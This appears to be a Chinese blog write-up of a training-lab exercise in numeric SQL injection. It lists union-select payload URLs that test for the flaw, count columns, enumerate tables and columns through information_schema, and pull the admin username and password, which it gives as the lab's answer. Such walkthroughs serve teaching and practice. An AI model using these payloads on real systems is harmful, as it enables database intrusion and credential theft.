第一章:为了女神小芳!【配套课时:SQL注入攻击原理 实战演练】

目录

一、原理

二、步骤

1、测试是否存在注入点

2、判断字段数

3、判断回显位置

4、判断数据库和版本

5、判断表名

6、判断字段名

7、获取表的数据

一、原理

SQL数值型注入

二、步骤

点击查看出现id,这里可能存在注入点

1、测试是否存在注入点

http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=1

回显正常

http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2

没有内容回显,说明存在数值型的注入点

2、判断字段数

http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=1 order by 2

oder by 2 时回显正常

http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=1 order by 3

没有正常回显,说明当前的表的字段数有两个

3、判断回显位置

http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,2

4、判断数据库和版本

http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,database()

数据库名:maoshe

http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,version()

当前数据库版本为:5.5.53

5、判断表名

http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='maoshe'

表有:admin,dirs,news,xss

6、判断字段名

以admin表为例

http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='maoshe' and table_name='admin'

字段有:Id,username,password

7、获取表的数据

http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,concat_ws(',',Id,username,password) from maoshe.admin 

1,admin,hellohack

题目答案为:hellohack


这篇文章就先写到这里了,哪里不足的欢迎指出

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值